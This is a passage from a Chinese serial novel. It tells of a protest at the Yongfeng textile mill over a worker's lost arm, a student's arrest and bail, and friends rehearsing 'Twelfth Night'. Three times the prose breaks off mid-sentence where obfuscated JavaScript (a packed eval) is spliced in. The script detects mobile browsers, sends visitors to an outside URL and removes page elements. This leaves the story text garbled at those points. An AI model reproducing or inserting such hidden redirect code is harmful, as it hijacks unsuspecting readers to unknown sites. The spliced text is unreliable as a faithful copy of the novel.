“在那边。”陈蔚青指着门口槐树下。 沈时砚顺着她的目光看过去,就见罗炽南和罗简兄妹正坐在榕树下面,一人抱着一只饭盒,冒着热气。他们围着旧围巾,脸都冻得红红的,像是从灰堆里挖出来的火星。 沈时砚快步走过去,还没站稳就脱口而出:“你们怎么不告诉我?” 罗炽南没抬头,把最后一口饭扒进嘴里,嚼得慢吞吞的,像是在故意拖延。 “告诉你有用吗?” “这是我家的厂,怎么会没用?” “你在家里说得上话?”罗炽南抬起头,盯着他,眼神又冷又倔,“真要说话有用,阿雯那只手怎么就断了?” 沈时砚一噎:“那你想怎么样?你不会真想找你那些黑市的兄弟来打砸机器吧?” 这一句话像点着了火药。 罗炽南“蹭”地站起来,脸上血气一下子涌了上来:“你管得着吗你!” “我当然得管!”沈时砚也急了,“他们不是什么好人,你现在有正经工作,干嘛跟他们搅在一起?” “我跟谁搅关你屁事!”罗炽南声音拔高,“你是怕我真找人来砸了你家的机器,你们家就要亏大钱了!所以就赶紧来拦我?” “不是!”沈时砚瞪大眼睛,情绪脱口而出,“我拿你当朋友,你怎么就——” “好。”罗炽南一字一顿,“你拿我当朋友,我算你够义气。” 他指了指身后还围在门口的工人,声音压下去却更重了:“但我也拿他们当朋友。” “沈少爷,你就别管了。” 18. 谁在喊?谁在听? 永丰纱厂门前,天还没黑,人已经越来越多了。 阳光被厂房的楼切碎,夕阳渗出血的颜色,映在地砖上的斑驳像被烧过的炭上的火星。厂区前的巷口本是清冷僻静,今日却聚满了人。有人搬来长凳、油桶、废弃木箱,搭了个临时台子;有人拎着脸盆和棉被,喊着“今儿我们就住这儿”;还有茶楼学徒、印报的小工、流动摊贩全都闻风赶来,把一条街堵得水泄不通。 最惹眼的是那份报纸。 今日特别增刊,头版标题用粗体黑字印着:《纱厂少女断臂真相》。副标题是:“谁来为她失去的手负责?” 陈蔚青站在人群外围,目光落在那张纸上,心一点点往下沉。 罗简正站在一张搁在汽油桶上的木板上,朝人群分发报纸。她围着深蓝围巾,嗓音清亮而坚定:“都看看!不是我们在乱说话,是她真的断了手!厂里赔了三块钱,还让她别声张!” “你们不信,可以自己去问!就在城西第七医院,工友阿雯现在还躺在那儿,吃药的钱都是她妹妹借的!” 人群逐渐躁动起来,有人接过报纸念出内容,有人边看边骂“真不是人”,还有人把那份报纸往窗台上一摊,高声读:“‘只因操作缓慢,工头当众呵斥;事故发生后,无人施救,反遭污名’——这还叫厂?” 一个粗嗓的男人举起拳头:“拿命换工钱,他们家早该倒闭!” 沈时砚站在厂门内侧,隔着一道铁栏,脸色不太好看。他本想先观察事态,却没想到报纸传得这么快。 他身边的副厂长低声嘀咕:“再闹下去真得报警了,沈少爷,这事得压一压,老爷什么时候来?” “你们谁给那姑娘批的赔偿的?”他没有回答问题,沉声问道。 副厂长支吾了一下:“这……是按旧例,她不是正式工,临时工出事不入账。” 沈时砚没说话,咬住了后槽牙。 厂外的罗炽南站在墙角,双手抱臂,冷眼旁观。他不拿报纸,也不发声,只是站在那儿,像个沉默的信号。 黎婉芝赶到的时候,脚步快得有些踉跄,她把一捆新印的报纸塞给罗简:“刚印的,再分一点。西市和茶楼那边已经开始传了。” “你怎么又来了?”陈蔚青拉住她,“你爹知道吗?” “我说的是去买书。”婉芝喘着气,脸红得发烫,语速又急又快,“我在西边看到一个男孩,把报纸贴在戏院门口,有人围过去看,还有人拍手说‘这才是报纸’。” 她的眼睛亮得像被阳光戳开了一层雾,“我写的字,真的有人看。”那声音带着一点难掩的、不合时宜的雀跃。 陈蔚青看着她的眼睛,忽然觉得喉咙发紧。她想说“你别太冲动”,也想说“这样做会不会太冒险”,可那些话像潮水涌来,在舌尖打了个转,终究没能说出口。 她忽然有点分不清,婉芝此刻的兴奋,是为阿雯的遭遇,还是为了自己写下的这些字终于得以传开。她那么激动,那么雀跃……这份激动,是对的吗?她想,可这念头也只是轻轻浮起,并没有出口。 “可我不做这些,就天天躲在女中写诗、写那些没用的文章,那才叫出事。”婉芝的声音坚定,带着一种倔强的哑光,“我不怕。” 她刚说完,一声高喊从厂门另一侧爆起:“厂里有人出来了!” 人群一下子涌动,像被丢了火星的干草堆,腾一下燃烧了起来。几秒后,沈时砚出现在厂门口,身后跟着两个厂方管理。 “大家听我说——”他刚开口,声音就被一片嘈杂盖住了。 “你来干嘛?看看断手的女工值不值三块钱?” “道歉!赔钱!” “沈家人出来啦,快跪下认罪!” 沈时砚站在门口,脸色一寸寸冷下去。他抬高声音:“我不是来吵架的,我是来——” “那你说,她那只手怎么办?” 声音从前排传来,是一个裹着黑围巾的青年,高举报纸,用力一挥,白纸在空中划出一道拱线:“你家厂房出了事,现在才来演好人,晚了!” 罗炽南冷冷地看了沈时砚一眼,没说话,只把手从臂间抽出来,缓缓地拍了两下手。 嘭——嘭—— 掌声像响在空罐子里,带着挑衅的节奏。 罗简站在木板上,面色发白,她看了看兄长,又看了看蔚青,喉头动了动,却没说出话。 “沈公子啊,沈公子。”罗炽南往前走了半步,人群给他让出了一条细细的路。他上前盯着沈时砚,声音带着压着火的冷笑,“站在我们对面的时候,可算是有沈家人的样子了吧?” 沈时砚眼神紧了一下,话一出口带着火:“你什么意思?你到底想干什么?” “我叫你别插手。”罗炽南往人群中指了指,“你看清楚了,这不是你家院子,是我们的命。” “我不是想干什么。”沈时砚的声音也拔高,“我是想让你们冷静下来。你们的工友的赔偿我们一定会给!” “她叫阿雯!”罗炽南几乎是吼出来的,目光炽热如火,“你连她的名字都记不住,就别来装样子!” “我不是……”沈时砚张了张嘴,话却像卡在喉咙。 这时,有人从后面喊:“你们知道这个厂以前死过人吗?” 这句话像石头砸进一潭水,四下炸出声音。 “她有名字!” “她不是厂里的螺丝!” “她是人!” “你们还记得吗!”一个粗哑的女声在人群后头喊起来,“去年我哥冬天也是在这厂冻病的!说是‘胃寒’,其实是因为守夜十小时没热水喝——厂里说‘他不是正式工’,一分钱没赔!” 这一句话仿佛扯开了陈年旧伤,立刻有人跟着喊:“前年,我嫂子手指被机器夹断——她也是‘试用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526033|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工’!不给报工伤!” “你们永丰早该倒闭!” “让东家出来说话!” 沈时砚抬起头,嘴唇动了动,却什么也没说出来。 人群开始沸腾。 “那个女孩呢?阿雯在哪?” “是不是已经死了你们才怕了?” 陈蔚青想要往前走:“大家先听我说——阿雯在医院——” 后面的话还没出口,就被人潮吞没。 罗简突然高举那份报纸,站上油桶,拼尽全力喊出:“她不在这儿——她还在医院里,缝了七针,连吃药的钱都自己掏的!” 这一句像火线点燃油桶。 人群炸了。 “还说她是试用工?!” “连人都不见,还想抵赖!” 第一块砖头飞出,砸在铁门上,“当!”一声巨响。 第二块紧随其后,还有破碗、鞋底。 “冲进去!把账给我们算明白!” 保安冲了出来,有人拽下罗简的围巾,试图将她拖下台。 “别碰她!” 罗炽南扑过去,一把扯住那人的胳膊。对方反手一棍,砸在他脸上。 “嘭!” 鲜血飞溅,他单膝跪地,捂住嘴角,血从指缝滴在石板上。 风呜地吹过厂门口,整个世界像在这一刻失去了颜色,只剩下咆哮的声音和正在迸裂的怒火。现场一瞬间安静了。 然后更剧烈的怒吼炸开。人群像一头被逼至绝境的野兽,空气里不是风,是火药味。谁先骂的、谁先推的、谁先扔的砖头,没人能分得清了。每一句喊声都像是压死骆驼的最后一根草,但那根草在四面八方同时落下。 “打人啦——打工人啦!” “他们先动手的!” “冲进去,把他们拽出来说清楚!” 铁门边的保安被推得踉跄后退,一块木板不知从哪飞来,砸中了厂墙的窗框,玻璃“哗啦”一声碎了满地。 陈蔚青拼命想冲过去拉住罗简,却被乱流的人潮冲得后退一步。 她听见有人喊她的名字—— “蔚青姐!”那声音夹在风里,却带着哭腔,“快躲开!” 她没反应过来,一只手臂忽然从人群里挥过来,重重撞在她的肩头。 陈蔚青整个身子一个踉跄,被挤得失去平衡,重重撞向旁边的砖柱,头一下磕在柱子上,额角擦破了,眼前一阵发黑。 那一刻,她躺在地上,只觉得身上滚烫,脑子却冷得像被冬夜的水灌进来。她摔在地上,膝盖一阵剧痛,像有铁钉从皮肉钉进骨头。人声就在她耳边炸开,她却在水底,什么也听不清了。她挣扎着想坐起来,一只手刚撑地,就滑倒,掌心全是尘土和血。 厂门上方那一行金漆字,在暮色里像燃烧的铁钉,一字一字砸进她心里: “永丰纱厂。” 19. 英雄 “如果没有人理解你,你还会坚持下去吗?” “如果做这件事会让你伤害到别人吗?” “如果你失败了,你还会承认它是对的吗?” “吃饭就吃饭,念念叨叨地干什么?”母亲一句话把陈蔚青神游的思想拉回现实,她才反应过来,她已经念那几个问题念了好久了,她回过神来,头上的伤口隐隐作痛。 “母亲,永丰纱厂在闹罢工。” 她说这句话的时候,语调不高,却仿佛一滴热水落在冰面上,轻轻“咝”了一声,转眼就没了痕迹。 唐敬敬抬头看了她一眼,语气不咸不淡:“我知道。” “您早就知道吗?” “今早沈家来送账的时候顺口提了两句,说厂门口聚了不少人。”她夹了一筷子炒菠菜,颜色已经暗了下去,“这是沈家的事。” “但……婉芝她——” “她不是我们陈家的人,她只是你朋友。”母亲慢慢把饭送入口中,咀嚼得不紧不慢,“你要小心,这姑娘在做的事很危险。” 蔚青想反驳,却忽然说不出话来。 饭桌上静了下来,只有风从窗缝灌进来,吹得桌上的烛火轻轻晃了一下。 就在这时,门外传来脚步声。 女仆匆匆走进来,在母亲耳边低声说了几句,又迟疑地看向蔚青。 母亲放下筷子,皱了下眉:“有什么话就说吧。” 女仆小心地开口:“外头来了一个穿着工装的姑娘,看着年纪不大,长得有点像洋人。” 罗简。除了她还能是谁?蔚青心里猛地一紧。 她顿了一下,“说是要我来跟小姐说:黎婉芝被抓进警局了。” 屋子里的气温像是突然低了三度。汤碗还在冒热气,蔚青的手却冷了。 她几乎是立刻站起身:“我去看看。” “坐下。”母亲没有抬眼,语气却陡然变冷,“你现在出去干什么?你头上那伤还不够丢人?而且让人看见了,以为我们陈家也掺和了这场闹剧。” “她是我的朋友。” “她父亲是女校校长,母亲又是南京姚家的人,那点事顶多关一晚就会放出来。你急什么?” 蔚青站在原地,手指轻轻颤着。她想坐下,因为她一直是这样做的——母亲已经做了决定的东西,她就这样听着,就好了,一切都是最好的,最理智,最合理的。 可她脑海中忽然响起那三道她自己写下的问题——那台机器会提出的问题: “如果没有人理解你,你还会坚持下去吗?” 会。 “做这件事会让你伤害到别人吗?” 我不知道。 “如果你失败了,你还会承认它是对的吗?” 会。 她低声开口,声音发紧,却一字一句清楚得如刀尖划过纸面:“对不起,妈妈。” 她绕过餐桌,步子越来越快,几乎是小跑着穿过走廊。 风从门缝灌进来,院子里还未熄灯,夜色像刚刚睁开眼。她拉开门,冷气扑面而来。 她没有回头,只是披上斗篷,一把推开朱红大门,奔入这座城真正寒冷的夜里。 陈蔚青几乎是一路跑着穿过半条南州城。 斗篷在风中猎猎作响,她的靴跟在青石板路上踩出细碎的“嗒嗒”声,像她的心跳,一声比一声重。街角的油灯早已熄了大半,只有几家还没关铺子的糖水店还亮着昏黄的灯,照得纸窗上映出她急促的影子。 她一路穿过巷口、药房、小饭馆的后墙,直到熟悉的那道墨漆木门出现在眼前。 她深吸一口气,抬手敲门时指节发抖,敲了三声。 过了一会儿,屋里烛光晃了一下,木门“咯吱”一声打开。 梁悯初披着一件藏青色的斗篷,鬓角微湿,像是刚刚洗了脸。他手里还拿着一本没来得及合上的《英文文摘》,指间压着一张写了一半的校对纸。他看到门外的蔚青,眉心轻轻皱起:“怎么——” “黎婉芝被抓进警局了。”她一句话冲出口,像是憋了很久的热气,带着水汽,也带着惊慌,“您能不能保她出来?” 屋里的风像是一下子都收住了。 “她肯定是不想让她父母知道的!所以才让阿简来找我!我母亲原本都不允许我出来,所以我……”她着急地解释着,说出口的话都颠三倒四的,“所以我才来找您…我已经没有别人可以找了…我不是…” 梁悯初楞了一瞬,什么都没说,只转身走进屋里。烛光摇曳着照出他背影微僵的轮廓。 他走到写字桌前,打开最下层的抽屉,取出一个灰布包,小心地解开绳结。蔚青站在门口,犹豫了一下才轻轻踏进屋内。 灰布包里,是一个皮质的钱袋,鼓鼓的。梁悯初没数,摸了摸份量,便系紧收口,把它塞进斗篷内侧。 “您……您要带这个做什么?”蔚青小声问,声音发紧,却压得极轻。 他低着头,一边扣紧扣子一边回答:“我也不确定。但我有不好的预感。” 他说这话的时候没抬头,嗓音低低的,却比任何夜风都要冷。 他们并肩穿过夜巷时,谁都没说话。 月亮躲在云后,街道陷入一种淡淡的灰青色里,只有远远的警署门楼还亮着灯,一盏气灯吊在屋檐下,冷冷地烧着,像是为等待什么人而设。 陈蔚青看了一眼身边的梁老师。 他走路的步伐很稳,像每一步都踩在尺子上,手藏在斗篷里,眼神却时不时朝前扫一眼,像在衡量可能遇到的每一种状况。 他们走得很快,但风却像故意拖慢了时间,吹得她的眼睛微微发涩。 陈蔚青站在警署门前,她是第一次站在这里,气灯照着砖缝上的水渍,像一片片凝固的雾。门廊上贴着告示,有几张纸角已经卷起,落下的水珠打在地上,轻轻“噗嗤”一声。 梁悯初出示了好久不用的名片,简单地介绍了一下自己,警官拿在手上看了两眼,眼神扫过他,又扫了扫蔚青,眼里有一点迟疑的笑意。 “是找黎婉芝?” “是。” “姑娘是学生?怎么这时候还不回家?” 蔚青张了张嘴,还没来得及说话,梁悯初已经轻声答:“我学生,家里人托我替他们来一趟。” 那警官点了点头,翻了翻登记本,慢悠悠地说:“其实也不是什么大事,散发了一些未经审核的小报嘛,写得还挺激烈,说什么‘沉默是共犯’‘女工不是机器’……学生嘛,血气方刚,我们也理解。” 他说着,又压低了声音:“不过沈家也来人了,说这文章煽动、传播不当思想,还鼓动学生情绪,让我们——适当管一管。” 沈家人把她抓了?蔚青心头一紧,然后心一点点往下沉。 “你们……打她了吗?”她的声音极轻,几乎被门口的风吹散。 那警官笑了笑:“那不会。她是黎校长的女儿,我们自然晓得。” “不过嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526034|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”他语调一顿,露出点商量的语气,“事情也不能就这么放了,要放,也得按规矩来。现在放人,走交保——十块银圆。” 他看向梁悯初,半句不多。 梁悯初没有犹豫,从斗篷里掏出那只皮钱袋,解开绳结,抓了一把整银元,利落地放在桌上,声音“哐当”一声,很轻,但落得分量十足。 “十块,不用找。” 那警官笑着点点头,像是一笔买卖谈成。 他一挥手,吩咐后头一名穿制服的女学监去带人:“让黎婉芝出来吧。动作快点,别让人等久了。” 不多时,走廊尽头响起了皮鞋踏地的声音。 陈蔚青忽然有点紧张,手指揪住斗篷下摆,往后缩了一寸。 黎婉芝从阴影里走出来时,身上的校服被雨水打湿了一角,头发有些乱,脸色发白,眼神还像没完全从亮灯的房间走出来,有些迷茫。 “婉芝——”蔚青唤了一声,自己也没意识到声线是颤的。 婉芝定住了,看见她。 两人谁都没有上前,先是彼此望了一会儿,像是在确认什么。 然后婉芝走到她跟前,伸出手,像是在外头冻了太久,手指已经发凉。 蔚青张了张嘴,眼圈却先红了。 她的喉头哽着,心跳慢了半拍,像有根什么细线从心底绷起,终于“啪”一声断掉了。 泪就那么滑下来,一滴一滴,不带声响,也没有抽噎,只是止不住地往下掉。 黎婉芝怔了一下,随即轻轻抱住她,带着点被风吹过的味道,像是夜里的药草香。 “欸,怎么了……”她轻声笑了一下,把她往怀里靠,“不是我被抓吗?怎么你哭了?” “我还好好在这呢。”她语气轻快得像平时考试迟到了三分钟,“只是头有点晕,肚子有点饿而已。反而是你,下午摔的还痛吗?” 蔚青没说话,没回答,只是抓着她的袖子,用额头蹭了一下她的肩膀。 她觉得肩膀上那一点温度,比屋檐下的灯还亮。 梁悯初站在一旁,没有出声,只轻轻咳了一下,转身道:“我们走吧,别在这儿久站了。” 他们一起走出警署,街口的气灯还亮着,夜风吹在脸上像刚削过的冰块,带着种不真实的静。 出了门,婉芝吸了吸鼻子,扭头看梁老师:“梁老师?谢谢你救了我。我知道你花了钱,多少钱?我会把钱还给你的。” 梁悯初摇头:“是你朋友救你。” 婉芝转头看向蔚青,嘴角动了动,像是想开个玩笑,可眼里那点闪烁的水光还是藏不住。 走到巷口的时候,她忽然停住了。 “其实我也不知道我在干嘛。”她说,“印报的时候我以为自己很了不起。” “报纸出来了,这是第一次有那么多人看我的报纸,我真的很兴奋。“ “可……我帮不了任何人,我自己还被抓了。”黎婉芝愤愤地说,“我不知道我为什么在兴奋,因为很多人看我的报纸吗?可女工阿雯的手断了啊,我因为她断了手而兴奋吗?“ 她没看别人,只是望着街那头还没熄的光:“写报纸有用吗?我们谁也不是英雄。” 她语气很轻,却像把一页纸扔进火里,烧得特别快。 “那就为了不要后悔吧。“梁悯初的声音低低的,说了三人今晚最后一句话。 陈蔚青本想问这是什么意思,但她没有开口,只是沉默地和两人一起走在夜色里。 20. 春日 永丰纱厂的厂门又重新打开了。 晨哨再一次响起时,那熟悉的“呜——呜——呜”声拉得比往常还长一点,像是某种试图掩盖沉默的声音。厂里贴出了一张新通告,说“将再议赔偿事宜”“号召工人安心复工”“呼吁理性、避免过激言行”。 女工们站在布告前看了几眼,没有说话。有的走进去,有的站了很久,才低头拎起饭盒往车间去。 据说沈家最后真的赔钱了,但为此开除了好几个工人。 不是一个公平的结果,但天冷了,家里等着她们带米和煤饼回去过年。于是他们还是走进了厂房,就像什么也没发生过。 陈家的饭桌恢复了往常的节奏。 母亲话不多,却似乎更留神了些。她开始亲自整理蔚青的衣箱,说是换季,却把那件她最常穿出去的斗篷压到了最底下;她请了新的裁缝来,给她量了几身衣裳,说是备着过年穿,颜色却比往常更沉稳了几分。 蔚青什么都没说,只是晚上回房时,总觉得窗纸贴得更严了,风不进来,光也进不来。 她开始失眠。 睡前看书,看不进;练字,一页写满了“信”、“义”、“道”、“悔”,最后又撕掉。她像是站在一个已经退了潮的岸边,望着地上一块块裸露出来的礁石,不知道要不要继续走。 那个锅炉房里,陈蔚青和沈时砚还是坐在原来的地方,做着原来的事情,只是很少说话了。罗简坐在窗边,常常抱着一本书,不知道她是看了还是没看。炽南依旧每天都来得早,却几乎不开口说话,有时候大家走了,他站在窗边望外头的夜色,很久都不动。黎婉芝,也许是唯一还像以前一样热情的人,但她不再提“报纸”的事了。 就这样沉默的日子持续了好几个星期,终于被黎婉芝给打破了。 就像融化了一块冻结的冰一样,大家又慢慢地流动了起来。像春天来前,第一颗种子发芽的声音。 黎婉芝像是突然拎着一整篓春天闯进来的。 “喂——喂!我要宣布一件大事!”她气喘吁吁地推门进来,手里挥着一张皱巴巴的通知单,像打仗胜利回来似的,“我们女中下个月校庆,要搞文艺汇演啦!” 没人搭话。 她环顾四周,故作正经地咳了一声:“我提议——不,是我决定,我们要演一出莎士比亚的剧!” “啥?”罗炽南眉毛抬起来,“莎什么?” “莎士比亚。”她郑重其事地说,“世界文学巨匠。演的是——爱情、伪装、误会、揭晓!精彩极了!” 她拍拍那张通知纸:“我爸说了,这次可以邀请朋友一起参与!剧目我已经选好了——《第十二夜》!” “《第十二夜》……不够人吧?”沈时砚简单地回想了一下剧情,问道。 “所以要时墨一起来啊!”黎婉芝叉着腰,“黎大编剧已经把剧本改成了六人演的了!” “行…黎大编剧~你以为他是我啊,他可是大忙人。” “去你的,17岁的孩子能有多忙?别管,时砚你给我把他叫过来,就说黎婉芝表姐叫他。” “行行行……这个时候摆上表姐的架子了……” 蔚青放下手里的纸笔:“我们……现在要演戏?” “对啊。”婉芝一边点头一边把通知拍到桌上,“你们看看,现在气氛多闷啊,锅炉房都快变棺材了。我们需要一点——”她顿了顿,仿佛在酝酿一个足够煽情的词,“……文学性的浪漫逃亡!” “等下,这个戏是讲什么的呢?”罗炽南打断了黎婉芝的浪漫宣言。 “很好!终于有人问我了!”黎婉芝眼睛一亮,一巴掌拍在通知纸上,像个要讲故事的小贩。 “听好了——《第十二夜》,莎士比亚最可爱的喜剧,没有之一!” 她一边说一边在桌面上胡乱比划:“话说,男女主一开始就在海上失散,女主维奥拉以为她双胞胎哥哥死了,就女扮男装改名‘塞萨里奥’,投奔了奥西诺公爵家做小跟班。” “然后奥西诺喜欢上了邻家的美丽小姐奥莉维娅,派维奥拉——也就是那个女扮男装的女孩——去传情。”婉芝故意拉长了声音,“结果你们猜怎么着?” “奥莉维娅喜欢上了维奥拉。”罗简脱口而出。 “没错!”婉芝笑得得意,“她以为是个小帅哥,结果喜欢上的是个女孩!” “这不女驸马吗?”罗炽南在一边咕哝。 “唉!你说对了!是有点像!”婉芝一拍桌子,眼睛亮亮地望着他,“你怎么那么懂?” “我就是懂点。”罗炽南摊摊手,“女扮男装,被误认、送情书、被爱上、最后认亲…我以前混……呃,卖艺的时候还唱过。” “然后,女扮男装的维奥拉因为奥西诺公爵的深情而爱上了他。“黎婉芝继续说,“但她不能暴露自己的身份,只能把这份感情藏在心里。但没想到的是维奥拉的双胞胎哥哥塞巴斯蒂安根本没死,他也来到这里,跟奥莉维娅相爱,然后结婚。” “结果啊后来!奥利维亚把男装的维奥拉认成了哥哥——也就是她是新婚丈夫,但维奥拉什么都不知道,奥莉维娅觉得他简直是薄情寡义!他们就闹起来了。” “……行吧。”罗简问,“那最后结局呢?误会都解开了吗?” “解开啦!”婉芝抬手比了个胜利手势,“双胞胎团聚,公爵娶维奥拉,奥莉维娅嫁哥哥,玛丽娅和小丑看尽一场戏,皆!大!欢!喜!” “你疯了。”罗简嘟囔了一句,“我可不演。” “你演女仆玛丽娅!你最像了!聪明又嘴毒。”婉芝笑得一脸狡黠。 “哪就那么像……”罗简听了那个形容,没绷住脸色,笑了一下,她那只刚放下的手,却悄悄捏紧了桌角,像在压抑什么刚刚冒出来的雀跃。 “我也不行。”罗炽南皱眉,“我上台会结巴。” “你演塞巴斯蒂安。”黎婉芝说,“台词少,还能耍帅。” “你怎么分好角色了?”沈时砚笑着问,“你是导演?” “当然。”她叉腰挺胸,转向蔚青:“你就演维奥拉吧。冷静、聪明、温柔、易被误会——这不就是你吗?” 蔚青本想拒绝,却被她这串“标签”说得一愣,没说话。 “可是……”她迟疑了一下,“我们没人会教。” “我已经安排好了。”婉芝眨了眨眼,“明天下午,我会带一个‘非常专业’的老师来指导我们。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532107|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “谁啊?”罗简问。 黎婉芝摊手,笑得像捂了个秘密:“保密~不过你们见了一定会特别认真练台词。” 是个难得晴朗的周末午后,阳光斜斜地照进女中的一间空教室,窗台上积了些落叶,风一吹就“哗啦”地动几下,像是给这场乱糟糟的排练配上了背景音。 教室里桌椅都被挪到墙边,中间空出一块“舞台”,木头地板在阳光底下泛着旧旧的光。 “来来来,都别站着了,我给你们分好角色啦!”黎婉芝把那张手抄的演员表贴在黑板上,用粉笔在名字后写上各自的角色—— 维奥拉:陈蔚青 奥莉维娅:黎婉芝 塞巴斯蒂安:罗炽南 玛丽娅:罗简 奥西诺公爵:沈时砚 小丑菲斯特兼安东尼奥:沈时墨 “等等等等。”沈时墨一边咬着糖果一边不满地问,“我怎么是小丑?不是说要演什么公爵来着?” “你那张脸公爵不了,17岁的孩子演什么公爵?”婉芝头也不回,“但你嘴毒、爱插话、还机灵,演小丑最合适。” “不是,你就比我大一岁摆什么架子呢……还有你这是在夸我还是骂我?” “当然是——夸你是全剧最有自由精神的角色!”她笑眯眯地说,“小丑最有趣,也最难演,他是所有人里唯一说真话的。你演好了,全场都靠你撑场子啊我亲爱的表弟!” 沈时墨嘟囔了一句“什么靠我撑场子”,但嘴角却又慢慢翘起来了。 “那也行。”他耸耸肩,跳上讲台,一屁股坐在讲桌上,“我演你们的良心,好吧。” 黎婉芝抬手一挥:“来来来,大家都按角色坐好,先读第一幕第一场——蔚青、时砚、简,我们三人开场。来来来,书拿好——” 正说着,教室门“咯吱”一声轻响。 一个穿着墨蓝长衫的身影站在门口。 梁悯初。 他像往常一样,手里夹着一本翻得起边的英诗选,神情温淡,一眼扫过全场,微微点头:“你们还真演起来了。” “老师!”黎婉芝像小鸟扑进林子一样快步迎上去,“您真的来了!” “我答应了的事,不至于赖账。”梁悯初语气温和,看着黑板上的名字和角色,“《第十二夜》?不错,挺大胆。” “老师,您今天是我们排练的指导!”婉芝拉他进门,“不过您要坐这儿,看我们先排第一幕!!” 梁悯初走到窗边,背着光坐下,指尖翻着那本英诗选,像是在等待舞台开幕前最后一声铃响。 陈蔚青站在讲台一侧,原本还算镇定的脸,在梁老师进门那一刻忽然“刷”地涨红了。 她想有点想躲了,可又不能,怎么能就为这一点小事躲起来啊! 我得在梁老师面前……演爱情喜剧?她的脑子嗡了一下,剧本上那句“我要将我心倾诉于你,哪怕我是你不曾识破的伪装”突然变得烫手得不行。 她下意识地退了一小步,碰倒了身后的椅子。 “你怎么了?”罗简小声问。 “没、没事……”蔚青咬着唇,耳朵有点烫,她小声地把那张台词表翻到第一页,“我们演吧。” 21. 第十二夜 “唉!她有这么一颗优美的心,对于她的哥哥也会挚爱到这等地步。假如爱神那支有力的金箭把她心里一切其他的感情一齐射死……” “停停停停停停!”黎婉芝猛地站起来,手一挥,像要拍掉台词本似的,“你这台词读得——完全听不出奥西诺公爵的深情啊!” “他本来就没多深情啊。”沈时砚小声嘟囔,一边挠头,一边拿剧本边角在指尖转来转去。 “怎么会没深情!”婉芝气得转了个圈,“至少这个时候他还是很爱奥莉维娅好吧!公爵内心都快煽出火来了,你这念得像在背数学定义。” “是是是……”沈时砚垂头丧气地抓了抓头发,“但我一想到奥莉维娅是你演的,就特别出戏啊,还什么‘她有这么一颗优美的心’……”他一边说,一边小声哼哼着那句台词,带着点咬文嚼字的无奈。 “怎么?我的心不优美吗?”婉芝双手叉腰,假装怒目圆睁。 这话一出口,教室里顿时笑成一片。罗炽南甚至一边笑一边拍桌:“哎哟,黎大小姐动气了~” “不是不是!”时砚连连摆手,眼角也忍不住弯了,“我就是说台词的时候脑袋打结嘛……” “好啦好啦!”婉芝一边笑一边摆摆手打断他,“那你别把我想成奥莉维娅。来——你就想着她!”她说着,伸手就把陈蔚青往前一推。 “哎?!”蔚青踉跄了一下,差点撞到讲桌,抬头一脸懵地看着婉芝,“为什么是我?我不是演维奥拉吗?” “喂,我可是听说你们在宴会上可是并肩而立,谈笑风生,甜得都快掉蜜了,”婉芝朝她眨眨眼,语气调皮,“郎才女貌,天生一对,别以为我没去就不知道啊~” “什么!!!”罗简眼睛瞪得像两个铃铛,“你们干嘛了?!” “不是那天——”蔚青嘴角一抖,刚想辩解,又像突然想起了什么,把话生生咽了下去。 她悄悄看了一眼窗边——梁悯初正坐在窗边的椅子上,阳光照得他长衫一角泛着淡淡蓝光。他没说话,手指却有一下没一下地敲着膝盖,眼神带着笑意,不咄咄逼人,却让人无处可藏。 蔚青别开视线,耳根都红了。 “好吧好吧,我重新来总行了吧。”沈时砚见状,立刻开口打圆场。他举起剧本,假装认真,清了清嗓子,语气比刚才低了一点,“啊——一点不错,我的心就像一头鹿,轻灵、惊惶——” “别太用力!”婉芝在一旁又叫道,“你不是驯鹿,你是公爵!” 全场又是一阵笑声。 沈时砚终于磕磕绊绊地演完了公爵的开场,接下来轮到小丑费斯特——也就是沈时墨——慢吞吞走上“舞台”。 他穿了件大一号的棕色学生外套,衣摆晃来晃去,显得有点滑稽。他手里不知道从哪儿拎来一根白粉笔,勉强当作权杖,却没什么仪式感地在掌心转了两下。 “你快点啦!”婉芝在“导演椅”上催促,“就你了,赶紧的,站好念台词!” “我说……真的要我演这个?”他不知道朝谁问了一句,又像是自言自语,脸上看不出情绪,耳朵却有点红。 “你不是说自己是全场良心吗?”蔚青含笑看他,“小丑登场,光芒万丈,快点。” 沈时墨嘟囔了一声“光芒个头”,低头站好,挺了挺背,像下定了决心。然后一板一眼地开口,声音故意拉长,带着点“我要演你们就别笑我”的架势:“上帝保佑您,小姐!” 他鞠了个弯得不太标准的躬,姿势半真半假,像是认真演,又像是在自嘲。他一抬头看见婉芝盯着他,忍不住别开了脸。 “把这傻子撵出去!”黎婉芝演的奥莉维娅顺势将台词一抛。 